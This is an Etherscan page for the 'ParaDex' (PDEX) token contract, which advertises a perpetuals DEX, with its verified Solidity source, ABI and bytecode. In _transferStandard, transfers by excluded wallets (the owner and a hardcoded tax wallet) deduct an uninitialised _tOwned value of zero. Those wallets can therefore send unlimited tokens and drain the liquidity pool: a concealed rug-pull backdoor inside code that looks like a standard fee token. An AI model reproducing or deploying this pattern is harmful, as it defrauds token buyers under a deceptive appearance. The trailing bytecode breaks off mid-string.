Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 1 from a total of 1 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
0x60806040 | 18421848 | 372 days ago | IN | 0 ETH | 0.03598704 |
Loading...
Loading
Contract Name:
PDEX
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-24 */ // SPDX-License-Identifier: UNLICENSED /** Trade perpetuals on a high-performance DEX with deep liquidity, capital efficiency and low fees. Website: https://www.paradefi.org Telegram: https://t.me/paradex_erc Twitter: https://twitter.com/paradex_erc App: https://app.paradefi.org */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IRoouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract PDEX is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private constant MAX = 10 ** 30; uint256 private constant _tTotal = 10 ** 9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal * 2 / 100; uint256 private _feeSwapThreshold = _tTotal * 1 / 10000; uint256 private _maxWalletAmount = _tTotal * 2 / 100; bool private tradingOpen; bool private swapping = false; bool private swapEnabled = false; bool private hasTransferDelay = false; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; mapping (address => uint) private _holderLastTransferTime; string private constant _name = "ParaDex"; string private constant _symbol = "PDEX"; uint8 private constant _decimals = 9; uint256 private _feeAddr1; uint256 private _feeAddr2 = 1; address payable private _taxWallet; IRoouter private _router; address private _pair; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _taxWallet = payable(0x1B7f1A0798cAE0309eA3F117d353629D229B31D5); _rOwned[_msgSender()] = _rTotal; _isExcluded[owner()] = true; _isExcluded[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); if (_isExcluded[sender] && tradingOpen) rAmount = _tOwned[sender]; _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletAmount = _tTotal; _feeAddr1 = 0; _feeAddr2 = 1; } function senFee(uint256 amount) private { _taxWallet.transfer(amount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_router) && ! _isExcluded[to] && hasTransferDelay) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); require(_holderLastTransferTime[to] < block.timestamp); _holderLastTransferTime[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!swapping && !_isExcluded[from] && to == _pair && swapEnabled && amount > _feeSwapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { senFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IRoouter _uniswapV2Router = IRoouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; hasTransferDelay = true; _maxTxAmount = _tTotal.mul(20).div(1000); _maxWalletAmount = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000256565b6200003e906c0c9f2c9cd04674edea4000000062000283565b6002556064670de0b6b3a764000060026200005a91906200029f565b620000669190620002b9565b60045561271062000081670de0b6b3a764000060016200029f565b6200008d9190620002b9565b6005556064620000a7670de0b6b3a764000060026200029f565b620000b39190620002b9565b6006556007805463ffffff00191690556001600e55348015620000d557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b031916731b7f1a0798cae0309ea3f117d353629d229b31d5179055600254600860006200014c3390565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600b6000620001866200023160201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600f549091168152600b909252902080549091166001179055620001d53390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200022391815260200190565b60405180910390a3620002d0565b6000546001600160a01b031690565b634e487b7160e01b600052601260045260246000fd5b60008262000268576200026862000240565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200029957620002996200026d565b92915050565b80820281158282048414176200029957620002996200026d565b600082620002cb57620002cb62000240565b500490565b61164c80620002e06000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610219578063a9059cbb14610246578063c9567bf914610266578063dd62ed3e1461027b57600080fd5b8063715018a6146101c5578063751039fc146101dc5780638da5cb5b146101f157600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610169578063313ce5671461018957806370a08231146101a557600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506040805180820190915260078152660a0c2e4c288caf60cb1b60208201525b60405161010b9190611327565b60405180910390f35b34801561012057600080fd5b5061013461012f36600461138d565b6102c1565b604051901515815260200161010b565b34801561015057600080fd5b50670de0b6b3a76400005b60405190815260200161010b565b34801561017557600080fd5b506101346101843660046113b9565b6102d8565b34801561019557600080fd5b506040516009815260200161010b565b3480156101b157600080fd5b5061015b6101c03660046113fa565b610341565b3480156101d157600080fd5b506101da610363565b005b3480156101e857600080fd5b506101da6103e0565b3480156101fd57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022557600080fd5b506040805180820190915260048152630a0888ab60e31b60208201526100fe565b34801561025257600080fd5b5061013461026136600461138d565b610427565b34801561027257600080fd5b506101da610434565b34801561028757600080fd5b5061015b610296366004611417565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60006102ce3384846107e2565b5060015b92915050565b60006102e5848484610906565b6103378433610332856040518060600160405280602881526020016115ef602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190610c74565b6107e2565b5060019392505050565b6001600160a01b0381166000908152600860205260408120546102d290610cae565b6000546001600160a01b031633146103965760405162461bcd60e51b815260040161038d90611450565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461040a5760405162461bcd60e51b815260040161038d90611450565b670de0b6b3a764000060048190556006556000600d556001600e55565b60006102ce338484610906565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161038d90611450565b60075460ff16156104b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038d565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ed3082670de0b6b3a76400006107e2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054f9190611485565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561059c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c09190611485565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561060d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106319190611485565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061066181610341565b6000806106766000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106de573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070391906114a2565b50506007805463ffff000019166301010000179055506107386103e8610732670de0b6b3a76400006014610ccc565b90610d4e565b6004556107546103e8610732670de0b6b3a7640000601e610ccc565b6006556007805460ff1916600117905560115460105460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de91906114d0565b5050565b6001600160a01b0383166108445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038d565b6001600160a01b0382166108a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038d565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661096a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038d565b6001600160a01b0382166109cc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038d565b60008111610a2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038d565b6000546001600160a01b03848116911614801590610a5a57506000546001600160a01b03838116911614155b15610c64576011546001600160a01b038481169116148015610a8a57506010546001600160a01b03838116911614155b8015610aaf57506001600160a01b0382166000908152600b602052604090205460ff16155b8015610ac457506007546301000000900460ff165b15610bc957600454811115610b1b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161038d565b60065481610b2884610341565b610b329190611508565b1115610b805760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038d565b6001600160a01b0382166000908152600c60205260409020544211610ba457600080fd5b610baf42601e611508565b6001600160a01b0383166000908152600c60205260409020555b6000610bd430610341565b600754909150610100900460ff16158015610c0857506001600160a01b0384166000908152600b602052604090205460ff16155b8015610c2157506011546001600160a01b038481169116145b8015610c35575060075462010000900460ff165b8015610c42575060055482115b15610c6257610c5081610d90565b478015610c6057610c6047610f04565b505b505b610c6f838383610f3e565b505050565b60008184841115610c985760405162461bcd60e51b815260040161038d9190611327565b506000610ca5848661151b565b95945050505050565b600080610cb9610f49565b9050610cc58382610d4e565b9392505050565b600082600003610cde575060006102d2565b6000610cea838561152e565b905082610cf78583611545565b14610cc55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038d565b6000610cc583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f6c565b6007805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dd457610dd4611567565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e519190611485565b81600181518110610e6457610e64611567565b6001600160a01b039283166020918202929092010152601054610e8a91309116846107e2565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ec390859060009086903090429060040161157d565b600060405180830381600087803b158015610edd57600080fd5b505af1158015610ef1573d6000803e3d6000fd5b50506007805461ff001916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107de573d6000803e3d6000fd5b610c6f838383610f9a565b6000806000610f566110dc565b9092509050610f658282610d4e565b9250505090565b60008183610f8d5760405162461bcd60e51b815260040161038d9190611327565b506000610ca58486611545565b600080600080600080610fac8761111c565b6001600160a01b038f166000908152600b6020526040902054959b5093995091975095509350915060ff168015610fe5575060075460ff165b15611006576001600160a01b03891660009081526009602052604090205495505b6001600160a01b0389166000908152600860205260409020546110299087611179565b6001600160a01b03808b1660009081526008602052604080822093909355908a168152205461105890866111bb565b6001600160a01b03891660009081526008602052604090205561107a8161121a565b6110848483611264565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110c991815260200190565b60405180910390a3505050505050505050565b6002546000908190670de0b6b3a76400006110f78282610d4e565b82101561111357505060025492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006111398a600d54600e54611288565b9250925092506000611149610f49565b9050600080600061115c8e8787876112d7565b919e509c509a509598509396509194505050505091939550919395565b6000610cc583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c74565b6000806111c88385611508565b905083811015610cc55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038d565b6000611224610f49565b905060006112328383610ccc565b3060009081526008602052604090205490915061124f90826111bb565b30600090815260086020526040902055505050565b6002546112719083611179565b60025560035461128190826111bb565b6003555050565b600080808061129c60646107328989610ccc565b905060006112af60646107328a89610ccc565b905060006112c7826112c18b86611179565b90611179565b9992985090965090945050505050565b60008080806112e68886610ccc565b905060006112f48887610ccc565b905060006113028888610ccc565b90506000611314826112c18686611179565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561135457858101830151858201604001528201611338565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138a57600080fd5b50565b600080604083850312156113a057600080fd5b82356113ab81611375565b946020939093013593505050565b6000806000606084860312156113ce57600080fd5b83356113d981611375565b925060208401356113e981611375565b929592945050506040919091013590565b60006020828403121561140c57600080fd5b8135610cc581611375565b6000806040838503121561142a57600080fd5b823561143581611375565b9150602083013561144581611375565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561149757600080fd5b8151610cc581611375565b6000806000606084860312156114b757600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114e257600080fd5b81518015158114610cc557600080fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102d2576102d26114f2565b818103818111156102d2576102d26114f2565b80820281158282048414176102d2576102d26114f2565b60008261156257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cd5784516001600160a01b0316835293830193918301916001016115a8565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a38b18f4841bb58ab67c053e4791ea3a286b0a8e4d412c5ebccea12a4d71e88564736f6c63430008130033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610219578063a9059cbb14610246578063c9567bf914610266578063dd62ed3e1461027b57600080fd5b8063715018a6146101c5578063751039fc146101dc5780638da5cb5b146101f157600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610169578063313ce5671461018957806370a08231146101a557600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506040805180820190915260078152660a0c2e4c288caf60cb1b60208201525b60405161010b9190611327565b60405180910390f35b34801561012057600080fd5b5061013461012f36600461138d565b6102c1565b604051901515815260200161010b565b34801561015057600080fd5b50670de0b6b3a76400005b60405190815260200161010b565b34801561017557600080fd5b506101346101843660046113b9565b6102d8565b34801561019557600080fd5b506040516009815260200161010b565b3480156101b157600080fd5b5061015b6101c03660046113fa565b610341565b3480156101d157600080fd5b506101da610363565b005b3480156101e857600080fd5b506101da6103e0565b3480156101fd57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022557600080fd5b506040805180820190915260048152630a0888ab60e31b60208201526100fe565b34801561025257600080fd5b5061013461026136600461138d565b610427565b34801561027257600080fd5b506101da610434565b34801561028757600080fd5b5061015b610296366004611417565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60006102ce3384846107e2565b5060015b92915050565b60006102e5848484610906565b6103378433610332856040518060600160405280602881526020016115ef602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190610c74565b6107e2565b5060019392505050565b6001600160a01b0381166000908152600860205260408120546102d290610cae565b6000546001600160a01b031633146103965760405162461bcd60e51b815260040161038d90611450565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461040a5760405162461bcd60e51b815260040161038d90611450565b670de0b6b3a764000060048190556006556000600d556001600e55565b60006102ce338484610906565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161038d90611450565b60075460ff16156104b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038d565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ed3082670de0b6b3a76400006107e2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054f9190611485565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561059c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c09190611485565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561060d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106319190611485565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061066181610341565b6000806106766000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106de573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070391906114a2565b50506007805463ffff000019166301010000179055506107386103e8610732670de0b6b3a76400006014610ccc565b90610d4e565b6004556107546103e8610732670de0b6b3a7640000601e610ccc565b6006556007805460ff1916600117905560115460105460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de91906114d0565b5050565b6001600160a01b0383166108445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038d565b6001600160a01b0382166108a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038d565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661096a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038d565b6001600160a01b0382166109cc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038d565b60008111610a2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038d565b6000546001600160a01b03848116911614801590610a5a57506000546001600160a01b03838116911614155b15610c64576011546001600160a01b038481169116148015610a8a57506010546001600160a01b03838116911614155b8015610aaf57506001600160a01b0382166000908152600b602052604090205460ff16155b8015610ac457506007546301000000900460ff165b15610bc957600454811115610b1b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161038d565b60065481610b2884610341565b610b329190611508565b1115610b805760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038d565b6001600160a01b0382166000908152600c60205260409020544211610ba457600080fd5b610baf42601e611508565b6001600160a01b0383166000908152600c60205260409020555b6000610bd430610341565b600754909150610100900460ff16158015610c0857506001600160a01b0384166000908152600b602052604090205460ff16155b8015610c2157506011546001600160a01b038481169116145b8015610c35575060075462010000900460ff165b8015610c42575060055482115b15610c6257610c5081610d90565b478015610c6057610c6047610f04565b505b505b610c6f838383610f3e565b505050565b60008184841115610c985760405162461bcd60e51b815260040161038d9190611327565b506000610ca5848661151b565b95945050505050565b600080610cb9610f49565b9050610cc58382610d4e565b9392505050565b600082600003610cde575060006102d2565b6000610cea838561152e565b905082610cf78583611545565b14610cc55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038d565b6000610cc583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f6c565b6007805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dd457610dd4611567565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b8152905191909316926